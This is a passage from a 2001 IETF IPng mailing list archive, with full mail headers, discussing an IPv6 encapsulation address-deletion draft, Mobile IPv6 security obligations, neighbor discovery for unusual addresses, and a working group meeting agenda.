owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: Does anybody know how well ROHC would perform in the specific case Steve's draft covers? => ROHC explicitely supports encapsulation (i.e. addresses which are always the same are dropped). If it does as well, or almost as well, then I would agree with Pekka- any case where the bandwidth is critical should be using ROHC anyway. => I agree (this argument applies near each time where the bandwidth is critical) but I believe the purpose is not to save bandwidth but to replace special devices by a more general one: - replace one shot source routing by IPV6_NO_SRC - replace home address option by IPV6_NO_DEST There are already degenerated (i.e. optimizable) cases of tunnel in mobility, IPsec, ... To have a general mechanism is a good idea, at least as a basis for discussion. But I'd like to see an example (the text is not very clear about the new non-terminal header format, it seems it has exactly the same layout than the IPv6 header) and of course the security section. For instance I'd like to know how ESP is applied (is the inner header compressed, if it is the case there is a security issue, if it is not the case common applicability cases are lost). Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 07:35:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4FZ0Ht004173 for ; Tue, 4 Dec 2001 07:35:00 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4FZ0SZ004172 for ipng-dist; Tue, 4 Dec 2001 07:35:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4FYuHt004165 for ; Tue, 4 Dec 2001 07:34:56 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA05569 for ; Tue, 4 Dec 2001 07:34:56 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA01921 for ; Tue, 4 Dec 2001 08:34:55 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB4FYim30554; Tue, 4 Dec 2001 17:34:44 +0200 Date: Tue, 4 Dec 2001 17:34:44 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Brian E Carpenter , "Hesham Soliman (ERA)" , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <200112041532.fB4FWkD90189@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 4 Dec 2001, Francis Dupont wrote: > => I agree (this argument applies near each time where the bandwidth > is critical) but I believe the purpose is not to save bandwidth but > to replace special devices by a more general one: > - replace one shot source routing by IPV6_NO_SRC > - replace home address option by IPV6_NO_DEST > There are already degenerated (i.e. optimizable) cases of tunnel in > mobility, IPsec, ... To have a general mechanism is a good idea, > at least as a basis for discussion. Exactly the point I was making. Saving bandwidth won't hurt, but that's definitely not the reason to do it. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 10:34:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4IY2Ht005110 for ; Tue, 4 Dec 2001 10:34:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4IY2Jn005109 for ipng-dist; Tue, 4 Dec 2001 10:34:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4IXvHt005102 for ; Tue, 4 Dec 2001 10:33:57 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA18553 for ; Tue, 4 Dec 2001 10:33:57 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA27161 for ; Tue, 4 Dec 2001 11:34:27 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id KAA27450; Tue, 4 Dec 2001 10:33:55 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB4IXsb22154; Tue, 4 Dec 2001 10:33:54 -0800 X-mProtect: Tue, 4 Dec 2001 10:33:54 -0800 Nokia Silicon Valley Messaging Protection Received: from vijayd.iprg.nokia.com (205.226.2.94, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdtGV9Ij; Tue, 04 Dec 2001 10:33:52 PST Message-ID: <3C0D170F.E3D28E94@iprg.nokia.com> Date: Tue, 04 Dec 2001 10:33:51 -0800 From: Vijay Devarapalli X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brian E Carpenter CC: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian E Carpenter wrote: > > Vijay, > > Vijay Devarapalli wrote: > .. > > I think it is wrong it say the Mobile IP WG is wholeheartedly > > discussing this issue. It is more like that this issue has been > > forced upon the Mobile IP WG (like certain other security issues > > it was never meant to solve). > > I'm not quite sure what you are getting at here, but it's the > responsibility of every WG to solve all the security issues > associated with its own work; security is not a kind of > icing added afterwards to the cake. And if a security problem > is discovered late, it still has to be solved, even if that > means starting again. Security isn't optional in the IETF. For one, it has been asked to solve key distribution between two hosts in the Internet without using any infrastructure (dont assume PKI, AAA, etc...). Mobile IP WG has been told that MIPv6 will not move ahead without solving this. and everyone knows it is a very hard problem. There are many more, but it will sound like a rant. I will stop with this. My only intention was to put a statement into a certain perspective. regards Vijay > > Regards > Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 10:45:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4IjLHt005287 for ; Tue, 4 Dec 2001 10:45:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4IjLZI005286 for ipng-dist; Tue, 4 Dec 2001 10:45:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4IjHHt005279 for ; Tue, 4 Dec 2001 10:45:17 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23083 for ; Tue, 4 Dec 2001 10:45:17 -0800 (PST) Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA02835 for ; Tue, 4 Dec 2001 11:45:47 -0700 (MST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fB4Ihpg00030; Tue, 4 Dec 2001 13:43:51 -0500 (EST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAL27440; Tue, 4 Dec 2001 10:43:05 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id KAA29717; Tue, 4 Dec 2001 10:43:39 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15373.6491.371188.449329@thomasm-u1.cisco.com> Date: Tue, 4 Dec 2001 10:43:39 -0800 (PST) To: Vijay Devarapalli Cc: Brian E Carpenter , ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <3C0D170F.E3D28E94@iprg.nokia.com> References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> <3C0C8EC7.79DD8FB9@hursley.ibm.com> <3C0D170F.E3D28E94@iprg.nokia.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Vijay Devarapalli writes: > Brian E Carpenter wrote: > > I'm not quite sure what you are getting at here, but it's the > > responsibility of every WG to solve all the security issues > > associated with its own work; security is not a kind of > > icing added afterwards to the cake. And if a security problem > > is discovered late, it still has to be solved, even if that > > means starting again. Security isn't optional in the IETF. > > For one, it has been asked to solve key distribution between > two hosts in the Internet without using any infrastructure > (dont assume PKI, AAA, etc...). Mobile IP WG has been told > that MIPv6 will not move ahead without solving this. and > everyone knows it is a very hard problem. > > There are many more, but it will sound like a rant. I will > stop with this. My only intention was to put a statement into > a certain perspective. This is akin to wanting to design a 200 story building, but not wanting to be held accountable for its structural integrity. Any-any tunneling is a hard problem, and anything that wants to propose its use needs to deal with *all* of its complexities. The alternative is to not take on the task if it's too hard. There is nowhere else where this will or should be solved. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 13:43:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4Lh0Ht006308 for ; Tue, 4 Dec 2001 13:43:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4Lh0kL006307 for ipng-dist; Tue, 4 Dec 2001 13:43:00 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4LguHt006300 for ; Tue, 4 Dec 2001 13:42:57 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA18383 for ; Tue, 4 Dec 2001 13:42:56 -0800 (PST) Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA00876 for ; Tue, 4 Dec 2001 14:42:55 -0700 (MST) Received: from INET-VRS-03.redmond.corp.microsoft.com ([157.54.5.27]) by mail3.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 4 Dec 2001 13:42:54 -0800 Received: from 157.54.6.150 by INET-VRS-03.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 04 Dec 2001 13:42:53 -0800 Received: from red-msg-04.redmond.corp.microsoft.com ([157.54.12.74]) by inet-hub-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 4 Dec 2001 13:42:53 -0800 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 Content-Class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt Date: Tue, 4 Dec 2001 13:42:53 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt Thread-Index: AcF82YR5u8u9GDi7QaaAF1RKaCViygAL11YA From: "Brian Zill" To: "Pekka Savola" , "Francis Dupont" Cc: "Brian E Carpenter" , "Hesham Soliman (ERA)" , X-OriginalArrivalTime: 04 Dec 2001 21:42:53.0218 (UTC) FILETIME=[A0B1F020:01C17D0C] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fB4LgvHt006301 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Francis is correct. The motivation behind the draft was the observation that there are or have been (either currently being specified or proposed) several different special-purpose mechanisms for what amounts to optimized tunnels. Some of these turned out to have problematic issues, especially when mixed and matched with other things. Issues which would be much simpler to reason about and resolve if one had real tunnels instead of these special-purpose mechanisms. The argument for the special-purpose mechanisms has usually been that the duplicated addresses in the tunnel headers is wasteful. This draft attempts to eliminate that particular concern with a more straight-forward approach to the problem. Hopefully it will serve as a basis for discussion, as Francis suggests. --Brian > -----Original Message----- > From: Pekka Savola [mailto:pekkas@netcore.fi] > Sent: Tuesday, December 04, 2001 07:35 > To: Francis Dupont > Cc: Brian E Carpenter; Hesham Soliman (ERA); ipng@sunroof.eng.sun.com > Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt > > On Tue, 4 Dec 2001, Francis Dupont wrote: > > => I agree (this argument applies near each time where the > > bandwidth is critical) but I believe the purpose is not to > > save bandwidth but to replace special devices by a more > > general one: > > - replace one shot source routing by IPV6_NO_SRC > > - replace home address option by IPV6_NO_DEST > > There are already degenerated (i.e. optimizable) cases of > > tunnel in mobility, IPsec, ... To have a general mechanism > > is a good idea, at least as a basis for discussion. > > Exactly the point I was making. > > Saving bandwidth won't hurt, but that's definitely not the > reason to do it. > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 13:54:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4LsxHt006345 for ; Tue, 4 Dec 2001 13:54:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4LsxDt006344 for ipng-dist; Tue, 4 Dec 2001 13:54:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4LsvHt006337 for ; Tue, 4 Dec 2001 13:54:57 -0800 (PST) Received: from stinker.eng.sun.com (localhost [IPv6:::1]) by stinker.eng.sun.com (8.12.1+Sun/8.12.1) with ESMTP id fB4LscNE006869 for ; Tue, 4 Dec 2001 13:54:38 -0800 (PST) Received: (from jrh@localhost) by stinker.eng.sun.com (8.12.1+Sun/8.12.1/Submit) id fB4Lsc2L006868 for ipng@sunroof.eng.sun.com; Tue, 4 Dec 2001 13:54:38 -0800 (PST) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB43CkHt001847 for ; Mon, 3 Dec 2001 19:12:46 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA07632 for ; Mon, 3 Dec 2001 19:12:48 -0800 (PST) Received: from tree.custom-access.net (tree.custom-access.net [217.24.128.14]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id UAA05828 for ; Mon, 3 Dec 2001 20:13:16 -0700 (MST) Received: from localhost (benc-bulk#hawaga.org.uk@localhost) by tree.custom-access.net (8.9.3/8.9.3) with ESMTP id DAA18669; Tue, 4 Dec 2001 03:12:34 GMT Date: Tue, 4 Dec 2001 03:12:32 +0000 (UCT) From: Ben Clifford X-Sender: benc-bulk#hawaga.org.uk@tree.custom-access.net To: zhang hong cc: ipng@sunroof.eng.sun.com Subject: Re: Why not TCPng? In-Reply-To: <024201c17c69$49135aa0$7207e29f@cnniczh> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 4 Dec 2001, zhang hong wrote: > I'm studying IPv6 and there is a question haunting around me. IPv6 is > created to solve the deficiency of IPv4. While AFAIK, there are also some > shortage in current TCP/UDP which is the upper layer of IP. But I only see > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > which I don't know. Can some one kindly enough to tell me why? This doesn't really answer your question, but it is a bit related. The routers in the internet speak IP (IPv4 now, eventaully IPv6). They don't need to know about TCP or UDP or other protocols that sit on top of them [1]. So in order to upgrade the internet to IPv6, every router on the internet needs to learn to speak IPv6. If I wanted to run a new TCP protocol (running over IPv4 or IPv6), the routers in between me and whoever I want to speak to don't need to know about it - it's an issue between me and the web-servers that I visit, or me and the mail-servers I send to. So deployment of a new TCP would happen in a very different way - for example, there would be no need for a 6bone-style network with all of the associated tunnel configuration, additional address allocation procedures etc. [1] In fact, they usually do for exchanging routing information, but do not need to do so in order to actually route packets. -- Ben Clifford benc@hawaga.org.uk http://www.hawaga.org.uk/ben/ Currently seeking employment in Los Angeles: http://www.hawaga.org.uk/resume/ IPv6 only webserver at: http://edge.ipv6.hawaga.org.uk:81/ben/ -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 14:49:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4MnvHt006498 for ; Tue, 4 Dec 2001 14:49:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4MnvSF006497 for ipng-dist; Tue, 4 Dec 2001 14:49:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4MnrHt006490 for ; Tue, 4 Dec 2001 14:49:53 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA07538 for ; Tue, 4 Dec 2001 14:49:54 -0800 (PST) Received: from burp.tkv.asdf.org (burp.tkv.asdf.org [212.16.99.49]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA25178 for ; Tue, 4 Dec 2001 14:49:52 -0800 (PST) Received: (from msa@localhost) by burp.tkv.asdf.org (8.9.3/8.9.3/Debian 8.9.3-21) id AAA16830; Wed, 5 Dec 2001 00:49:51 +0200 Date: Wed, 5 Dec 2001 00:49:51 +0200 Message-Id: <200112042249.AAA16830@burp.tkv.asdf.org> From: Markku Savela To: ipng@sunroof.eng.sun.com Subject: For which addresses you actually do ND and DAD? Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Our IPv6 stack allows one to ifconfig to configure any IPv6 address as an additional address for the interface. Now, someone configured an address like "::ipv4" and I suddenly realised, that the stack does DAD using that address, and recognizes the standard solicited node multicast address that gets generated from "::ipv4" type addresses! Furthermore, when a ONLINK route "::/96" is configured, it will do ND for the addresses. a) Should it do this? b) Should the behaviour be (dis)allowed by configuration? c) Totally forbidden? If answer it either (b) or (c), I would further like to know, which weird addresses belong to this group? (If (a), then I leave the code as is). Can they be recognized by "::/64", for example? Unless this is already specified somewhere (I must have missed it somehow?), then I think the differentiating rule should be cast into stone very quickly, because these tend to be hardcoded in the implementations. -- Markku Savela -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 17:07:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB517mHt006889 for ; Tue, 4 Dec 2001 17:07:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB517ljG006888 for ipng-dist; Tue, 4 Dec 2001 17:07:47 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB517iHt006881 for ; Tue, 4 Dec 2001 17:07:44 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA02487 for ; Tue, 4 Dec 2001 17:07:46 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA01015 for ; Tue, 4 Dec 2001 18:07:45 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA02374; Tue, 4 Dec 2001 17:07:45 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB517ib05943; Tue, 4 Dec 2001 17:07:44 -0800 X-mProtect: Tue, 4 Dec 2001 17:07:44 -0800 Nokia Silicon Valley Messaging Protection Received: from hinden.iprg.nokia.com (4.22.78.78, claiming to be "spruce.iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdSAsQQY; Tue, 04 Dec 2001 17:07:42 PST Message-Id: <4.3.2.7.2.20011204170503.02ccb2d8@mailhost.iprg.nokia.com> X-Sender: hinden@mailhost.iprg.nokia.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 04 Dec 2001 17:07:28 -0800 To: ipng@sunroof.eng.sun.com From: Bob Hinden Subject: Update: IPv6 working group agenda for Salt Lake City IETF Cc: hinden@iprg.nokia.com Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Minor update. Added meeting rooms and fixed one draft name. Thanks, Bob Hinden & Steve Deering ------------------------------------------------------------------------- TUESDAY, December 11, 2001, 0900-1130 (Grand A) Introduction, Steve Deering, 5 min. Review Agenda, Steve Deering, 5 min. Document Status, Bob Hinden, 15 min. Default Address Selection for IPv6, Rich Draves, 15 min. Default Router Preferences and More-Specific Routes, Rich Draves, 15 min. IPv6 Host to Router Load Sharing, Bob Hinden, 15 min. Redundant Address Deletion when Encapsulating IPv6 in IPv6, Steve Deering, 15 min. The IPv6 Payload Header, Francis Dupont, 10 min. Scoped Address Architecture, Tatuya Jinmei, 10 min. An IPv6 Flow Label Specification Proposal, Jarno Rajahalme, 45 min. THURSDAY, December 13, 2001, 0900-1130 (Grand A) DNS Discovery Update, Dave Thaler, 20 min. Using DHCPv6 for DNS Configuration in Hosts, Ralph Droms, 10 min. Recommendations for IPv6 in 3GPP Standards, Margaret Wasserman, 30 min. Minimum IPv6 Functionality for a Cellular Host, John Loughney, 30 min. IPv6 minimum host requirement for low cost network appliances, Nobuo Okabe, 15 min. Threat Analysis for IPv6 Public Multi-Access Links, James Kempf, 20 min. Advanced API, Tatuya Jinmei, 15 min. Host-based IPv6 Multicast Addresses Allocation , Jung-Soo Park, 10 min. --------------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 17:08:07 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5187Ht006899 for ; Tue, 4 Dec 2001 17:08:07 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB5187JA006898 for ipng-dist; Tue, 4 Dec 2001 17:08:07 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB5183Ht006891 for ; Tue, 4 Dec 2001 17:08:03 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA06518 for ; Tue, 4 Dec 2001 17:08:04 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA05416 for ; Tue, 4 Dec 2001 18:07:46 -0700 (MST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id RAA02370; Tue, 4 Dec 2001 17:07:43 -0800 (PST) Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB517gK05801; Tue, 4 Dec 2001 17:07:42 -0800 X-mProtect: Tue, 4 Dec 2001 17:07:42 -0800 Nokia Silicon Valley Messaging Protection Received: from jmalinen.iprg.nokia.com (205.226.2.98) by darkstar.iprg.nokia.com(P1.5 smtpdLBh7Vh; Tue, 04 Dec 2001 17:07:40 PST Received: from iprg.nokia.com (localhost [127.0.0.1]) by jmalinen.iprg.nokia.com (8.9.3/8.6.12) with ESMTP id RAA20486; Tue, 4 Dec 2001 17:07:41 -0800 (PST) Message-ID: <3C0D735C.97219E57@iprg.nokia.com> Date: Tue, 04 Dec 2001 17:07:40 -0800 From: "Jari T. Malinen" Organization: Nokia X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Brian Zill CC: Pekka Savola , Francis Dupont , Brian E Carpenter , "Hesham Soliman (ERA)" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: 